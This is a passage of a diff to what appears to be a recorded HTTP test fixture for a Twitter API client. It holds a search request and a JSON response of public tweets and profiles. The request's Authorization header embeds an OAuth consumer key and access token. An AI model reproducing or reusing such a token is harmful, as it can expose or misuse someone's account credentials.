2020\",\"id\":1254206656684195842,\"id_str\":\"1254206656684195842\",\"text\":\"So any woman will do? Even an evil murdering one? https:\\\/\\\/t.co\\\/cRcsbmXw9O\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/cRcsbmXw9O\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sethabramson\\\/status\\\/1254180308989235201\",\"display_url\":\"twitter.com\\\/sethabramson\\\/s\\u2026\",\"indices\":[50,73]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":728469625,\"id_str\":\"728469625\",\"name\":\"commonsense\",\"screen_name\":\"commonsense258\",\"location\":\"\",\"description\":\"I love sports and current events. Oh and my Yorkie thinks he's human and I'm okay with that.\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":1449,\"friends_count\":438,\"listed_count\":51,\"created_at\":\"Tue Jul 31 14:08:02 +0000 2012\",\"favourites_count\":503592,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":256669,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/799401203872518144\\\/Pz99ggy5_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/799401203872518144\\\/Pz99ggy5_normal.jpg\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1254180308989235201,\"quoted_status_id_str\":\"1254180308989235201\",\"quoted_status\":{\"created_at\":\"Sat Apr 25 22:47:41 +0000 2020\",\"id\":1254180308989235201,\"id_str\":\"1254180308989235201\",\"text\":\"Still processing the possibility that North Korea will have its first woman leader before the United States\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":3223426134,\"id_str\":\"3223426134\",\"name\":\"Seth Abramson (@\\ud83c\\udfe0)\",\"screen_name\":\"SethAbramson\",\"location\":\"All views mine.\",\"description\":\"Attorney. @Newsweek columnist. Professor. Author of New York Times bestsellers Proof of Conspiracy (https:\\\/\\\/t.co\\\/jPbI2P5OQ0) & Proof of Collusion (https:\\\/\\\/t.co\\\/YUd8v4GoNp).\",\"url\":\"https:\\\/\\\/t.co\\\/BgxDeUKKGK\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/BgxDeUKKGK\",\"expanded_url\":\"http:\\\/\\\/www.sethabramson.net\\\/bio\",\"display_url\":\"sethabramson.net\\\/bio\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/jPbI2P5OQ0\",\"expanded_url\":\"http:\\\/\\\/amzn.to\\\/2sQBWYL\",\"display_url\":\"amzn.to\\\/2sQBWYL\",\"indices\":[100,123]},{\"url\":\"https:\\\/\\\/t.co\\\/YUd8v4GoNp\",\"expanded_url\":\"http:\\\/\\\/amzn.to\\\/39WyLz5\",\"display_url\":\"amzn.to\\\/39WyLz5\",\"indices\":[147,170]}]}},\"protected\":false,\"followers_count\":800707,\"friends_count\":25,\"listed_count\":7598,\"created_at\":\"Fri May 22 16:19:26 +0000 2015\",\"favourites_count\":3,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":74721,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1188673360231833601\\\/8lwhEkl9_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1188673360231833601\\\/8lwhEkl9_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/3223426134\\\/1583422472\",\"profile_link_color\":\"F01405\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"000000\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":915,\"favorite_count\":4887,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"}],\"search_metadata\":{\"completed_in\":0.141,\"max_id\":1254206657657257984,\"max_id_str\":\"1254206657657257984\",\"next_results\":\"?max_id=1254206656684195841&q=twitter&include_entities=1\",\"query\":\"twitter\",\"refresh_url\":\"?since_id=1254206657657257984&q=twitter&include_entities=1\",\"count\":15,\"since_id\":0,\"since_id_str\":\"0\"}}" - } +[{ + "request": { + "method": "GET", + "url": "https:\/\/api.twitter.com\/1.1\/search\/tweets.json?q=twitter", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"qWYQHV5qw8biySQjoR59V9%2BDvOQ%3D\"", + "Expect": null + } + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "12973", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:24 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:24 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_j\/D8MbYgZO9NrZX0j4Doog==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:24 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114467858900; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:24 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "7dc369267b3c7dbeb719dcad15017787", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-rate-limit-limit": "180", + "x-rate-limit-remaining": "174", + "x-rate-limit-reset": "1587861623", + "x-response-time": "190", + "x-transaction": "00f1001400e3fb3b", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "{\"statuses\":[{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657657257984,\"id_str\":\"1254206657657257984\",\"text\":\"RT @TheUntamedLati2: Ya perd\\u00ed la cuenta de cuantas veces he visto esa escena, ya se que va a pasar despu\\u00e9s..... y a\\u00fan as\\u00ed todav\\u00eda lloro con\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TheUntamedLati2\",\"name\":\"The Untamed Latinoam\\u00e9rica\",\"id\":1234358495631364096,\"id_str\":\"1234358495631364096\",\"indices\":[3,19]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"es\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":950450150211768320,\"id_str\":\"950450150211768320\",\"name\":\"\\u22b1\\u22b9\\u2133\\u2134\\ud835\\udcb8\\ud835\\udcbd\\ud835\\udcbe \\ud835\\udcc8\\ud835\\udcca\\ud835\\udcb8\\ud835\\udcc7\\ud835\\udcee\\u00b0\\u22b9\\u22b0\",\"screen_name\":\"Mochi_pxxrk\",\"location\":\"\",\"description\":\"\\u2022\\u2022 .\\u00b8\\u00b8.\\u2022\\u00b4\\u00af`\\u2022.\\u2022N\\u1d07\\u1d04\\u1d07s\\u026a\\u1d1b\\u1d0f \\u01eb\\u1d1c\\u1d07 \\u1d0d\\u1d07 \\u0274\\u1d07\\u1d04\\u1d07s\\u026a\\u1d1b\\u1d07s `\\u2022.\\u00b8\\u00b8.\\u2022\\u00b4\\u00b4\\u00af`\\u2022\\u2022\\n\\u06e9\\u25aa\\ufe0e\\ud835\\udc40\\ud835\\udc5c \\ud835\\udc51\\ud835\\udc4e\\ud835\\udc5c \\ud835\\udc67\\ud835\\udc62 \\ud835\\udc60\\u210e\\ud835\\udc56 \\ud835\\udc5a\\ud835\\udc52 \\ud835\\udc51\\ud835\\udc52\\ud835\\udc57\\u00f3 \\ud835\\udc60\\ud835\\udc52\\ud835\\udc5b\\ud835\\udc60\\ud835\\udc56\\ud835\\udc4f\\ud835\\udc59\\ud835\\udc52\\u25aa\\ufe0e\\u06e9\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":68,\"friends_count\":112,\"listed_count\":0,\"created_at\":\"Mon Jan 08 19:32:29 +0000 2018\",\"favourites_count\":32407,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":4806,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243366985817370626\\\/exDXU85Q_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243366985817370626\\\/exDXU85Q_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/950450150211768320\\\/1585967564\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 20:53:48 +0000 2020\",\"id\":1254151647485472770,\"id_str\":\"1254151647485472770\",\"text\":\"Ya perd\\u00ed la cuenta de cuantas veces he visto esa escena, ya se que va a pasar despu\\u00e9s..... y a\\u00fan as\\u00ed todav\\u00eda lloro\\u2026 https:\\\/\\\/t.co\\\/ypYYG5Gmgw\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/ypYYG5Gmgw\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1254151647485472770\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[116,139]}]},\"metadata\":{\"iso_language_code\":\"es\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1234358495631364096,\"id_str\":\"1234358495631364096\",\"name\":\"The Untamed Latinoam\\u00e9rica\",\"screen_name\":\"TheUntamedLati2\",\"location\":\"\",\"description\":\"\\ud83d\\udc95Espacio dedicado a las fans de The Untamed\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":1263,\"friends_count\":6,\"listed_count\":0,\"created_at\":\"Mon Mar 02 06:03:15 +0000 2020\",\"favourites_count\":1353,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":690,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253900779892740106\\\/C-F7iXpT_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253900779892740106\\\/C-F7iXpT_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1234358495631364096\\\/1583129151\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":11,\"favorite_count\":54,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"es\"},\"is_quote_status\":false,\"retweet_count\":11,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"es\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657497911297,\"id_str\":\"1254206657497911297\",\"text\":\"RT @muieresnanet: https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"muieresnanet\",\"name\":\"mulheres que passaram vergonha\",\"id\":1218213021010616320,\"id_str\":\"1218213021010616320\",\"indices\":[3,16]}],\"urls\":[],\"media\":[{\"id\":1253829607280779264,\"id_str\":\"1253829607280779264\",\"indices\":[18,41],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"display_url\":\"pic.twitter.com\\\/Zi7xHqWCDQ\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/muieresnanet\\\/status\\\/1253829613031165961\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":653,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"},\"medium\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"}},\"source_status_id\":1253829613031165961,\"source_status_id_str\":\"1253829613031165961\",\"source_user_id\":1218213021010616320,\"source_user_id_str\":\"1218213021010616320\"}]},\"extended_entities\":{\"media\":[{\"id\":1253829607280779264,\"id_str\":\"1253829607280779264\",\"indices\":[18,41],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"display_url\":\"pic.twitter.com\\\/Zi7xHqWCDQ\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/muieresnanet\\\/status\\\/1253829613031165961\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":653,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"},\"medium\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"}},\"source_status_id\":1253829613031165961,\"source_status_id_str\":\"1253829613031165961\",\"source_user_id\":1218213021010616320,\"source_user_id_str\":\"1218213021010616320\"},{\"id\":1253829607268155395,\"id_str\":\"1253829607268155395\",\"indices\":[18,41],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn4WAAMDUWM.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn4WAAMDUWM.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"display_url\":\"pic.twitter.com\\\/Zi7xHqWCDQ\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/muieresnanet\\\/status\\\/1253829613031165961\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":696,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":742,\"h\":1280,\"resize\":\"fit\"},\"small\":{\"w\":394,\"h\":680,\"resize\":\"fit\"}},\"source_status_id\":1253829613031165961,\"source_status_id_str\":\"1253829613031165961\",\"source_user_id\":1218213021010616320,\"source_user_id_str\":\"1218213021010616320\"}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1241507949392138240,\"id_str\":\"1241507949392138240\",\"name\":\"Gigi7772\",\"screen_name\":\"Gigi77721\",\"location\":\"\",\"description\":\"profissional em procrastinar e ficar desenhando o dia todo, pessoa que gosta de ver o circo pegar o fogo mas que n\\u00e3o colocar\\u00e1 a lenha na fogueira pra isso\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":3,\"friends_count\":25,\"listed_count\":0,\"created_at\":\"Sat Mar 21 23:32:26 +0000 2020\",\"favourites_count\":258,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":123,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1242484034191495178\\\/RvuepMjq_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1242484034191495178\\\/RvuepMjq_normal.jpg\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Fri Apr 24 23:34:09 +0000 2020\",\"id\":1253829613031165961,\"id_str\":\"1253829613031165961\",\"text\":\"https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1253829607280779264,\"id_str\":\"1253829607280779264\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"display_url\":\"pic.twitter.com\\\/Zi7xHqWCDQ\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/muieresnanet\\\/status\\\/1253829613031165961\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":653,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"},\"medium\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1253829607280779264,\"id_str\":\"1253829607280779264\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"display_url\":\"pic.twitter.com\\\/Zi7xHqWCDQ\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/muieresnanet\\\/status\\\/1253829613031165961\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":653,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"},\"medium\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"}}},{\"id\":1253829607268155395,\"id_str\":\"1253829607268155395\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn4WAAMDUWM.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn4WAAMDUWM.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"display_url\":\"pic.twitter.com\\\/Zi7xHqWCDQ\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/muieresnanet\\\/status\\\/1253829613031165961\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":696,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":742,\"h\":1280,\"resize\":\"fit\"},\"small\":{\"w\":394,\"h\":680,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1218213021010616320,\"id_str\":\"1218213021010616320\",\"name\":\"mulheres que passaram vergonha\",\"screen_name\":\"muieresnanet\",\"location\":\"\",\"description\":\"este perfil tem como objetivo o entretenimento \\\/ se quer que remova SUA imagem DM \\ud83d\\udce9\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":164214,\"friends_count\":0,\"listed_count\":55,\"created_at\":\"Fri Jan 17 16:46:42 +0000 2020\",\"favourites_count\":1816,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":205,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1218719772629786624\\\/Nza3ahvj_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1218719772629786624\\\/Nza3ahvj_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1218213021010616320\\\/1580247905\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":436,\"favorite_count\":3472,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},\"is_quote_status\":false,\"retweet_count\":436,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657334251523,\"id_str\":\"1254206657334251523\",\"text\":\"@Tmac_thagod https:\\\/\\\/t.co\\\/5FKo9V38wm\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"Tmac_thagod\",\"name\":\"Tmac\",\"id\":439592686,\"id_str\":\"439592686\",\"indices\":[0,12]}],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/5FKo9V38wm\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/gloriaolembo\\\/status\\\/1254136568417259521\",\"display_url\":\"twitter.com\\\/gloriaolembo\\\/s\\u2026\",\"indices\":[13,36]}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":439592686,\"in_reply_to_user_id_str\":\"439592686\",\"in_reply_to_screen_name\":\"Tmac_thagod\",\"user\":{\"id\":2615539497,\"id_str\":\"2615539497\",\"name\":\"BBY.SATURN\",\"screen_name\":\"manny_srz\",\"location\":\"\",\"description\":\"\\u26a0\\ufe0f\\u203c\\ufe0fDon\\u2019t wanna debate w you, stupid\\u203c\\ufe0f\\u26a0\\ufe0f\\ud83d\\ude43\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":260,\"friends_count\":235,\"listed_count\":0,\"created_at\":\"Mon Jun 16 23:13:39 +0000 2014\",\"favourites_count\":24117,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":19284,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1245924964726964224\\\/bHjuSoVJ_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1245924964726964224\\\/bHjuSoVJ_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2615539497\\\/1587097445\"